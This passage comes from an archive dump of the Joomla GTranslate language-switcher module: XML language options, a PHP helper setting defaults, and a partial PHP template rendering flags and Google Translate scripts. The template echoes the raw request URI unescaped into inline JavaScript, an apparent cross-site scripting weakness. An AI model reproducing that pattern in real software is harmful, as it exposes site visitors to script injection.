                    <option value="2">As a flag</option>
                </field>
                <field name="show_sl" type="radio" class="btn-group" default="1" label="Show Slovenian" description="Show Slovenian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_es" type="radio" class="btn-group" default="2" label="Show Spanish" description="Show Spanish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As Spain flag</option>
                    <option value="3">As Mexico flag</option>
                </field>
                <field name="show_sw" type="radio" class="btn-group" default="1" label="Show Swahili" description="Show Swahili in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_sv" type="radio" class="btn-group" default="1" label="Show Swedish" description="Show Swedish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_th" type="radio" class="btn-group" default="1" label="Show Thai" description="Show Thai in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_tr" type="radio" class="btn-group" default="1" label="Show Turkish" description="Show Turkish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_uk" type="radio" class="btn-group" default="1" label="Show Ukrainian" description="Show Ukrainian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_ur" type="radio" class="btn-group" default="1" label="Show Urdu" description="Show Urdu in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_vi" type="radio" class="btn-group" default="1" label="Show Vietnamese" description="Show Vietnamese in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_cy" type="radio" class="btn-group" default="1" label="Show Welsh" description="Show Welsh in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>
                <field name="show_yi" type="radio" class="btn-group" default="1" label="Show Yiddish" description="Show Yiddish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                    <option value="2">As a flag</option>
                </field>

                <!-- 2014-03-26 languages -->
                <field name="show_bn" type="radio" class="btn-group" default="0" label="Show Bengali" description="Show Bengali in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_bs" type="radio" class="btn-group" default="0" label="Show Bosnian" description="Show Bosnian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ceb" type="radio" class="btn-group" default="0" label="Show Cebuano" description="Show Cebuano in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_eo" type="radio" class="btn-group" default="0" label="Show Esperanto" description="Show Esperanto in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_gu" type="radio" class="btn-group" default="0" label="Show Gujarati" description="Show Gujarati in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ha" type="radio" class="btn-group" default="0" label="Show Hausa" description="Show Hausa in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_hmn" type="radio" class="btn-group" default="0" label="Show Hmong" description="Show Hmong in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ig" type="radio" class="btn-group" default="0" label="Show Igbo" description="Show Igbo in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_jw" type="radio" class="btn-group" default="0" label="Show Javanese" description="Show Javanese in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_kn" type="radio" class="btn-group" default="0" label="Show Kannada" description="Show Kannada in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_km" type="radio" class="btn-group" default="0" label="Show Khmer" description="Show Khmer in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_lo" type="radio" class="btn-group" default="0" label="Show Lao" description="Show Lao in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_la" type="radio" class="btn-group" default="0" label="Show Latin" description="Show Latin in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_mi" type="radio" class="btn-group" default="0" label="Show Maori" description="Show Maori in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_mr" type="radio" class="btn-group" default="0" label="Show Marathi" description="Show Marathi in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_mn" type="radio" class="btn-group" default="0" label="Show Mongolian" description="Show Mongolian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ne" type="radio" class="btn-group" default="0" label="Show Nepali" description="Show Nepali in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_pa" type="radio" class="btn-group" default="0" label="Show Punjabi" description="Show Punjabi in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_so" type="radio" class="btn-group" default="0" label="Show Somali" description="Show Somali in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ta" type="radio" class="btn-group" default="0" label="Show Tamil" description="Show Tamil in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_te" type="radio" class="btn-group" default="0" label="Show Telugu" description="Show Telugu in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_yo" type="radio" class="btn-group" default="0" label="Show Yoruba" description="Show Yoruba in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_zu" type="radio" class="btn-group" default="0" label="Show Zulu" description="Show Zulu in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>

                <!-- 2016-02-15 languages -->
                <field name="show_my" type="radio" class="btn-group" default="0" label="Show Myanmar (Burmese)" description="Show Myanmar (Burmese) in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ny" type="radio" class="btn-group" default="0" label="Show Chichewa" description="Show Chichewa in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_kk" type="radio" class="btn-group" default="0" label="Show Kazakh" description="Show Kazakh in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_mg" type="radio" class="btn-group" default="0" label="Show Malagasy" description="Show Malagasy in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ml" type="radio" class="btn-group" default="0" label="Show Malayalam" description="Show Malayalam in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_si" type="radio" class="btn-group" default="0" label="Show Sinhala" description="Show Sinhala in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_st" type="radio" class="btn-group" default="0" label="Show Sesotho" description="Show Sesotho in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_su" type="radio" class="btn-group" default="0" label="Show Sudanese" description="Show Sudanese in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_tg" type="radio" class="btn-group" default="0" label="Show Tajik" description="Show Tajik in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_uz" type="radio" class="btn-group" default="0" label="Show Uzbek" description="Show Uzbek in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>

                <!-- 2016-02-21 languages -->
                <field name="show_am" type="radio" class="btn-group" default="0" label="Show Amharic" description="Show Amharic in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_co" type="radio" class="btn-group" default="0" label="Show Corsican" description="Show Corsican in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_haw" type="radio" class="btn-group" default="0" label="Show Hawaiian" description="Show Hawaiian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ku" type="radio" class="btn-group" default="0" label="Show Kurdish (Kurmanji)" description="Show Kurdish (Kurmanji) in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ky" type="radio" class="btn-group" default="0" label="Show Kyrgyz" description="Show Kyrgyz in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ld" type="radio" class="btn-group" default="0" label="Show Luxembourgish" description="Show Luxembourgish in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_ps" type="radio" class="btn-group" default="0" label="Show Pashto" description="Show Pashto in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_sm" type="radio" class="btn-group" default="0" label="Show Samoan" description="Show Samoan in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_gd" type="radio" class="btn-group" default="0" label="Show Scottish Gaelic" description="Show Scottish Gaelic in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_sn" type="radio" class="btn-group" default="0" label="Show Shona" description="Show Shona in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_sd" type="radio" class="btn-group" default="0" label="Show Sindhi" description="Show Sindhi in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_fy" type="radio" class="btn-group" default="0" label="Show Frisian" description="Show Frisian in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>
                <field name="show_xh" type="radio" class="btn-group" default="0" label="Show Xhosa" description="Show Xhosa in language list">
                    <option value="1">Yes</option>
                    <option value="0">No</option>
                </field>

                <!-- Live Chat -->
                <field name="live_chat" type="LiveChat" label="" description="" />
            </fieldset>

            <fieldset name="advanced">
                <field name="cache" type="list" default="0" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
                    <option value="1">JGLOBAL_USE_GLOBAL</option>
                    <option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
                <field name="cachemode" type="hidden" default="static">
                    <option value="static"></option>
                </field>
            </fieldset>
        </fields>
    </config>
</extension>mod_gtranslate/helper.php000060400000011104150746170550011542 0ustar00<?php
/**
* @version   $Id: helper.php 132 2012-02-15 19:44:06Z edo888 $
* @package   GTranslate
* @copyright Copyright (C) 2008-2016 Edvard Ananyan. All rights reserved.
* @license   GNU/GPL v3 http://www.gnu.org/licenses/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

class modGTranslateHelper {
    public static function getParams(&$params) {
        $params->def('method', 'onfly');
        $params->def('load_jquery', 1);
        $params->def('look', 'both');
        $params->def('orientation', 'h');
        $params->def('flag_size', 16);
        $params->def('language', 'en');
        $params->def('pro_version', 0);
        $params->def('enterprise_version', 0);
        $params->def('native_language_names', 0);
        $params->def('new_tab', 0);
        $params->def('analytics', 0);
        $params->def('show_en', 2);
        $params->def('show_ar', 1);
        $params->def('show_bg', 1);
        $params->def('show_zh-CN', 1);
        $params->def('show_zh-TW', 1);
        $params->def('show_hr', 1);
        $params->def('show_cs', 1);
        $params->def('show_da', 1);
        $params->def('show_nl', 1);
        $params->def('show_fi', 1);
        $params->def('show_fr', 2);
        $params->def('show_de', 2);
        $params->def('show_el', 1);
        $params->def('show_hi', 1);
        $params->def('show_it', 2);
        $params->def('show_ja', 1);
        $params->def('show_ko', 1);
        $params->def('show_no', 1);
        $params->def('show_pl', 1);
        $params->def('show_pt', 2);
        $params->def('show_ro', 1);
        $params->def('show_ru', 2);
        $params->def('show_es', 2);
        $params->def('show_sv', 1);
        $params->def('show_ca', 1);
        $params->def('show_tl', 1);
        $params->def('show_iw', 1);
        $params->def('show_id', 1);
        $params->def('show_lv', 1);
        $params->def('show_lt', 1);
        $params->def('show_sr', 1);
        $params->def('show_sk', 1);
        $params->def('show_sl', 1);
        $params->def('show_uk', 1);
        $params->def('show_vi', 1);
        $params->def('show_sq', 1);
        $params->def('show_et', 1);
        $params->def('show_gl', 1);
        $params->def('show_hu', 1);
        $params->def('show_mt', 1);
        $params->def('show_th', 1);
        $params->def('show_tr', 1);
        $params->def('show_fa', 1);
        $params->def('show_af', 1);
        $params->def('show_ms', 1);
        $params->def('show_sw', 1);
        $params->def('show_ga', 1);
        $params->def('show_cy', 1);
        $params->def('show_be', 1);
        $params->def('show_is', 1);
        $params->def('show_mk', 1);
        $params->def('show_yi', 1);
        $params->def('show_hy', 1);
        $params->def('show_az', 1);
        $params->def('show_eu', 1);
        $params->def('show_ka', 1);
        $params->def('show_ht', 1);
        $params->def('show_ur', 1);

        // 2014-03-26 languages
        $params->def('show_bn', 0);
        $params->def('show_bs', 0);
        $params->def('show_ceb', 0);
        $params->def('show_eo', 0);
        $params->def('show_gu', 0);
        $params->def('show_ha', 0);
        $params->def('show_hmn', 0);
        $params->def('show_ig', 0);
        $params->def('show_jw', 0);
        $params->def('show_kn', 0);
        $params->def('show_km', 0);
        $params->def('show_lo', 0);
        $params->def('show_la', 0);
        $params->def('show_mi', 0);
        $params->def('show_mr', 0);
        $params->def('show_mn', 0);
        $params->def('show_ne', 0);
        $params->def('show_pa', 0);
        $params->def('show_so', 0);
        $params->def('show_ta', 0);
        $params->def('show_te', 0);
        $params->def('show_yo', 0);
        $params->def('show_zu', 0);

        // 2014-02-15
        $params->def('show_my', 0);
        $params->def('show_ny', 0);
        $params->def('show_kk', 0);
        $params->def('show_mg', 0);
        $params->def('show_ml', 0);
        $params->def('show_si', 0);
        $params->def('show_st', 0);
        $params->def('show_su', 0);
        $params->def('show_tg', 0);
        $params->def('show_uz', 0);

        // 2016-02-21
        $params->def('show_am', 0);
        $params->def('show_co', 0);
        $params->def('show_haw', 0);
        $params->def('show_ku', 0);
        $params->def('show_ky', 0);
        $params->def('show_lb', 0);
        $params->def('show_ps', 0);
        $params->def('show_sm', 0);
        $params->def('show_gd', 0);
        $params->def('show_sn', 0);
        $params->def('show_sd', 0);
        $params->def('show_fy', 0);
        $params->def('show_xh', 0);

        return $params;
    }
}mod_gtranslate/index.html000060400000000054150746170550011551 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/default.php000060400000071655150746170550012704 0ustar00<?php
/**
* @version   $Id: default.php 188 2014-07-22 15:36:04Z edo888 $
* @package   GTranslate
* @copyright Copyright (C) 2008-2017 Edvard Ananyan. All rights reserved.
* @license   GNU/GPL v3 http://www.gnu.org/licenses/gpl.html
*/

defined('_JEXEC') or die('Restricted access');

include 'native_names_map.php';

if($pro_version or $enterprise_version)
    $method = 'standard';
else
    $method = 'onfly';

$lang_array = array('en'=>'English','ar'=>'Arabic','bg'=>'Bulgarian','zh-CN'=>'Chinese (Simplified)','zh-TW'=>'Chinese (Traditional)','hr'=>'Croatian','cs'=>'Czech','da'=>'Danish','nl'=>'Dutch','fi'=>'Finnish','fr'=>'French','de'=>'German','el'=>'Greek','hi'=>'Hindi','it'=>'Italian','ja'=>'Japanese','ko'=>'Korean','no'=>'Norwegian','pl'=>'Polish','pt'=>'Portuguese','ro'=>'Romanian','ru'=>'Russian','es'=>'Spanish','sv'=>'Swedish','ca'=>'Catalan','tl'=>'Filipino','iw'=>'Hebrew','id'=>'Indonesian','lv'=>'Latvian','lt'=>'Lithuanian','sr'=>'Serbian','sk'=>'Slovak','sl'=>'Slovenian','uk'=>'Ukrainian','vi'=>'Vietnamese','sq'=>'Albanian','et'=>'Estonian','gl'=>'Galician','hu'=>'Hungarian','mt'=>'Maltese','th'=>'Thai','tr'=>'Turkish','fa'=>'Persian','af'=>'Afrikaans','ms'=>'Malay','sw'=>'Swahili','ga'=>'Irish','cy'=>'Welsh','be'=>'Belarusian','is'=>'Icelandic','mk'=>'Macedonian','yi'=>'Yiddish','hy'=>'Armenian','az'=>'Azerbaijani','eu'=>'Basque','ka'=>'Georgian','ht'=>'Haitian Creole','ur'=>'Urdu','bn' => 'Bengali','bs' => 'Bosnian','ceb' => 'Cebuano','eo' => 'Esperanto','gu' => 'Gujarati','ha' => 'Hausa','hmn' => 'Hmong','ig' => 'Igbo','jw' => 'Javanese','kn' => 'Kannada','km' => 'Khmer','lo' => 'Lao','la' => 'Latin','mi' => 'Maori','mr' => 'Marathi','mn' => 'Mongolian','ne' => 'Nepali','pa' => 'Punjabi','so' => 'Somali','ta' => 'Tamil','te' => 'Telugu','yo' => 'Yoruba','zu' => 'Zulu','my' => 'Myanmar (Burmese)','ny' => 'Chichewa','kk' => 'Kazakh','mg' => 'Malagasy','ml' => 'Malayalam','si' => 'Sinhala','st' => 'Sesotho','su' => 'Sudanese','tg' => 'Tajik','uz' => 'Uzbek','am' => 'Amharic','co' => 'Corsican','haw' => 'Hawaiian','ku' => 'Kurdish (Kurmanji)','ky' => 'Kyrgyz','lb' => 'Luxembourgish','ps' => 'Pashto','sm' => 'Samoan','gd' => 'Scottish Gaelic','sn' => 'Shona','sd' => 'Sindhi','fy' => 'Frisian','xh' => 'Xhosa');
$flag_map = array();
$i = $j = 0;
foreach($lang_array as $lang => $lang_name) {
    $flag_map[$lang] = array($i*100, $j*100);
    if($i == 7) {
        $i = 0;
        $j++;
    } else {
        $i++;
    }
}

$flag_map_vertical = array();
$i = 0;
foreach($lang_array as $lang => $lang_name) {
    $flag_map_vertical[$lang] = $i*16;
    $i++;
}

asort($lang_array);
// Move the default language to the first position
$lang_array = array_merge(array($language => $lang_array[$language]), $lang_array);

$request_uri = $_SERVER['REQUEST_URI'];

if(!defined('GTRANSLATE_INCLUDED')) {
    define('GTRANSLATE_INCLUDED', 1);
    //echo '<noscript>Javascript is required to use <a href="http://gtranslate.net/">GTranslate</a> <a href="http://gtranslate.net/">multilingual website</a> and <a href="http://gtranslate.net/">translation delivery network</a></noscript>';
?>

<?php if($method == 'standard' or $method == 'ajax'): ?>
<script type="text/javascript">
/* <![CDATA[ */
<?php if($new_tab): ?>
    function openTab(url) {var form=document.createElement('form');form.method='post';form.action=url;form.target='_blank';document.body.appendChild(form);form.submit();}
    <?php if($pro_version): ?>
    function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];<?php if($analytics): ?>if(typeof _gaq!='undefined'){_gaq.push(['_trackEvent', 'GTranslate', lang, location.pathname+location.search]);}else {if(typeof ga!='undefined')ga('send', 'event', 'GTranslate', lang, location.pathname+location.search);}<?php endif; ?>var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='<?php echo $language; ?>';openTab(location.protocol+'//'+location.host+'/'+lang+'<?php echo $request_uri; ?>');}
    <?php elseif($enterprise_version): ?>
    function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];<?php if($analytics): ?>if(typeof _gaq!='undefined'){_gaq.push(['_trackEvent', 'GTranslate', lang, location.hostname+location.pathname+location.search]);}else {if(typeof ga!='undefined')ga('send', 'event', 'GTranslate', lang, location.hostname+location.pathname+location.search);}<?php endif; ?>var plang=location.hostname.split('.')[0];if(plang.length !=2 && plang.toLowerCase() != 'zh-cn' && plang.toLowerCase() != 'zh-tw')plang='<?php echo $language; ?>';openTab(location.protocol+'//'+(lang == '<?php echo $language; ?>' ? '' : lang+'.')+location.hostname.replace('www.', '').replace(RegExp("^" + plang + '\\.'), '')+'<?php echo $request_uri; ?>');}
    <?php endif; ?>
<?php else: ?>
    <?php if($pro_version): ?>
    function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];<?php if($analytics): ?>if(typeof _gaq!='undefined'){_gaq.push(['_trackEvent', 'GTranslate', lang, location.pathname+location.search]);}else {if(typeof ga!='undefined')ga('send', 'event', 'GTranslate', lang, location.pathname+location.search);}<?php endif; ?>var plang=location.pathname.split('/')[1];if(plang.length !=2 && plang != 'zh-CN' && plang != 'zh-TW')plang='<?php echo $language; ?>';location.href=location.protocol+'//'+location.host+'/'+lang+'<?php echo $request_uri; ?>';}
    <?php elseif($enterprise_version): ?>
    function doGTranslate(lang_pair) {if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];<?php if($analytics): ?>if(typeof _gaq!='undefined'){_gaq.push(['_trackEvent', 'GTranslate', lang, location.hostname+location.pathname+location.search]);}else {if(typeof ga!='undefined')ga('send', 'event', 'GTranslate', lang, location.hostname+location.pathname+location.search);}<?php endif; ?>var plang=location.hostname.split('.')[0];if(plang.length !=2 && plang.toLowerCase() != 'zh-cn' && plang.toLowerCase() != 'zh-tw')plang='<?php echo $language; ?>';location.href=location.protocol+'//'+(lang == '<?php echo $language; ?>' ? '' : lang+'.')+location.hostname.replace('www.', '').replace(RegExp("^" + plang + '\\.'), '')+'<?php echo $request_uri; ?>';}
    <?php endif; ?>
<?php endif; ?>
/* ]]> */
</script>
<?php endif; ?>

<?php if($method == 'onfly'): ?>
<script type="text/javascript">
/* <![CDATA[ */
function GTranslateGetCurrentLang() {var keyValue = document.cookie.match('(^|;) ?googtrans=([^;]*)(;|$)');return keyValue ? keyValue[2].split('/')[2] : null;}
function GTranslateFireEvent(element,event){try{if(document.createEventObject){var evt=document.createEventObject();element.fireEvent('on'+event,evt)}else{var evt=document.createEvent('HTMLEvents');evt.initEvent(event,true,true);element.dispatchEvent(evt)}}catch(e){}}
function doGTranslate(lang_pair){if(lang_pair.value)lang_pair=lang_pair.value;if(lang_pair=='')return;var lang=lang_pair.split('|')[1];if(GTranslateGetCurrentLang() == null && lang == lang_pair.split('|')[0])return;<?php if($analytics): ?>if(typeof ga!='undefined'){ga('send', 'event', 'GTranslate', lang, location.hostname+location.pathname+location.search);}else{if(typeof _gaq!='undefined')_gaq.push(['_trackEvent', 'GTranslate', lang, location.hostname+location.pathname+location.search]);}<?php endif; ?>var teCombo;var sel=document.getElementsByTagName('select');for(var i=0;i<sel.length;i++)if(sel[i].className=='goog-te-combo')teCombo=sel[i];if(document.getElementById('google_translate_element2')==null||document.getElementById('google_translate_element2').innerHTML.length==0||teCombo.length==0||teCombo.innerHTML.length==0){setTimeout(function(){doGTranslate(lang_pair)},500)}else{teCombo.value=lang;GTranslateFireEvent(teCombo,'change');GTranslateFireEvent(teCombo,'change')}}
/* ]]> */
</script>
<?php
$document = JFactory::getDocument();
$document->addStyleDeclaration("
#goog-gt-tt {display:none !important;}
.goog-te-banner-frame {display:none !important;}
.goog-te-menu-value:hover {text-decoration:none !important;}
body {top:0 !important;}
#google_translate_element2 {display:none!important;}
");
?>
<div id="google_translate_element2"></div>
<script type="text/javascript">function googleTranslateElementInit2() {new google.translate.TranslateElement({pageLanguage: '<?php echo $language; ?>', autoDisplay: false}, 'google_translate_element2');}</script>
<script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2"></script>
<?php endif; ?>

<?php
}

if($look == 'flags' or $look == 'flags_name' or $look == 'flags_code' or $look == 'lang_names' or $look == 'lang_codes') {
    $session = JFactory::getSession();
    $uri = JURI::getInstance();
    foreach($lang_array as $lang => $lang_name) {
        if($pro_version)
            $href = ($language == $lang) ? $uri->toString() : '/' . $lang . str_replace('/' . $session->get('glang', $language) . '/', '/', $uri->toString(array('path', 'query')));
        elseif($enterprise_version)
            $href = ($language == $lang) ? $uri->toString() : $uri->getScheme() . '://' . $lang . '.' . str_replace('www.', '', $uri->toString(array('host', 'path', 'query')));
        else
            $href = '#';

        if($native_language_names)
            $lang_name = $native_names_map[$lang];

        $show_this = 'show_'.str_replace('-', '', $lang);
        if($$show_this) {
            if($lang == 'en' and $$show_this == '3')
                $flag = 'en-us';
            elseif($lang == 'en' and $$show_this == '4')
                $flag = 'en-ca';
            elseif($lang == 'pt' and $$show_this == '3')
                $flag = 'pt-br';
            elseif($lang == 'es' and $$show_this == '3')
                $flag = 'es-mx';
            elseif($lang == 'fr' and $$show_this == '3')
                $flag = 'fr-qc';
            else
                $flag = $lang;

            if($look == 'flags')
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');return false;" title="'.$lang_name.'" class="flag nturl notranslate"><img src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/'.$flag_size.'/'.$flag.'.png" height="'.$flag_size.'" width="'.$flag_size.'" alt="'.$lang.'" /></a>';
            elseif($look == 'flags_name')
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');return false;" title="'.$lang_name.'" class="flag nturl notranslate"><img src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/'.$flag_size.'/'.$flag.'.png" height="'.$flag_size.'" width="'.$flag_size.'" alt="'.$lang.'" /> <span>'.$lang_name.'</span></a> ';
            elseif($look == 'flags_code')
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');return false;" title="'.$lang_name.'" class="flag nturl notranslate"><img src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/'.$flag_size.'/'.$flag.'.png" height="'.$flag_size.'" width="'.$flag_size.'" alt="'.$lang.'" /> <span>'.strtoupper($lang).'</span></a> ';
            elseif($look == 'lang_names')
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');return false;" title="'.$lang_name.'" class="flag nturl notranslate">'.$lang_name.'</a> ';
            elseif($look == 'lang_codes')
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');return false;" title="'.$lang_name.'" class="flag nturl notranslate">'.strtoupper($lang).'</a> ';

        }
    }

    if($look == 'flags' or $look == 'flags_name' or $look == 'flags_code') {
        $document = JFactory::getDocument();
        $document->addStyleDeclaration("
            a.flag {text-decoration:none;}
            a.flag img {vertical-align:middle;padding:0;margin:0;border:0;display:inline;height:{$flag_size}px;opacity:0.8;}
            a.flag:hover img {opacity:1;}
            a.flag span {margin-right:5px;font-size:15px;vertical-align:middle;}
        ");
    }
} elseif ($look == 'dropdown') {
    echo '<select onchange="doGTranslate(this);" class="notranslate">';
    echo '<option value="">Select Language</option>';
    $i = 0;
    foreach($lang_array as $lang => $lang_name) {
        $show_this = 'show_'.str_replace('-', '', $lang);

        if($native_language_names)
            $lang_name = $native_names_map[$lang];

        if($$show_this)
            echo '<option value="'.$language.'|'.$lang.'" style="'.($lang == $language ? 'font-weight:bold;' : '').'">'.$lang_name.'</option>';
    }
    echo '</select>';
} elseif ($look == 'both') {
    $session = JFactory::getSession();
    $uri = JURI::getInstance();
    foreach($lang_array as $lang => $lang_name) {
        if($pro_version)
            $href = ($language == $lang) ? $uri->toString() : '/' . $lang . str_replace('/' . $session->get('glang', $language) . '/', '/', $uri->toString(array('path', 'query')));
        elseif($enterprise_version)
            $href = ($language == $lang) ? $uri->toString() : $uri->getScheme() . '://' . $lang . '.' . str_replace('www.', '', $uri->toString(array('host', 'path', 'query')));
        else
            $href = '#';

        if($native_language_names)
            $lang_name = $native_names_map[$lang];

        $show_this = 'show_'.str_replace('-', '', $lang);
        if($$show_this) {
            if($lang == 'en' and $$show_this == '3')
                $flag = 'en-us';
            elseif($lang == 'en' and $$show_this == '4')
                $flag = 'en-ca';
            elseif($lang == 'pt' and $$show_this == '3')
                $flag = 'pt-br';
            elseif($lang == 'es' and $$show_this == '3')
                $flag = 'es-mx';
            elseif($lang == 'fr' and $$show_this == '3')
                $flag = 'fr-qc';
            else
                $flag = $lang;

            if($$show_this != '1' and $$show_this != '0')
                echo '<a href="'.$href.'" onclick="doGTranslate(\''.$language.'|'.$lang.'\');return false;" title="'.$lang_name.'" class="flag nturl notranslate"><img src="'.JURI::root(true).'/modules/mod_gtranslate/tmpl/lang/'.$flag_size.'/'.$flag.'.png" height="'.$flag_size.'" width="'.$flag_size.'" alt="'.$lang.'" /></a>';
        }
    }
    echo '<br/><select onchange="doGTranslate(this);" class="notranslate">';
    echo '<option value="">Select Language</option>';
    foreach($lang_array as $lang => $lang_name) {
        if($native_language_names)
            $lang_name = $native_names_map[$lang];

        $show_this = 'show_'.str_replace('-', '', $lang);
        if($$show_this)
            echo '<option '.($lang == $language ? 'style="font-weight:bold;"' : '').' value="'.$language.'|'.$lang.'">'.$lang_name.'</option>';
    }
    echo '</select>';

    $document = JFactory::getDocument();
    $document->addStyleDeclaration("
        a.flag {text-decoration:none;}
        a.flag img {vertical-align:middle;padding:0;margin:0;border:0;display:inline;height:{$flag_size}px;opacity:0.8;}
        a.flag:hover img {opacity:1;}
        a.flag span {margin-right:5px;font-size:15px;vertical-align:middle;}
    ");
} elseif ($look == 'dropdown_with_flags') {

    JHtml::_('jquery.framework');

    $current_language = isset($_SERVER['HTTP_X_GT_LANG']) ? str_replace(array('zh-cn', 'zh-tw'), array('zh-CN', 'zh-TW'), $_SERVER['HTTP_X_GT_LANG']) : $language;

    if($native_language_names)
        $lang_name = $native_names_map[$current_language];
    else
        $lang_name = $lang_array[$current_language];

    if($current_language == 'en' and $show_en == '3')
        $flag = 'en-us';
    elseif($current_language == 'en' and $show_en == '4')
        $flag = 'en-ca';
    elseif($current_language == 'pt' and $show_pt == '3')
        $flag = 'pt-br';
    elseif($current_language == 'es' and $show_es == '3')
        $flag = 'es-mx';
    elseif($current_language == 'fr' and $show_fr == '3')
        $flag = 'fr-qc';
    else
        $flag = $current_language;

    echo '<div class="switcher notranslate">';
    echo '<div class="selected">';
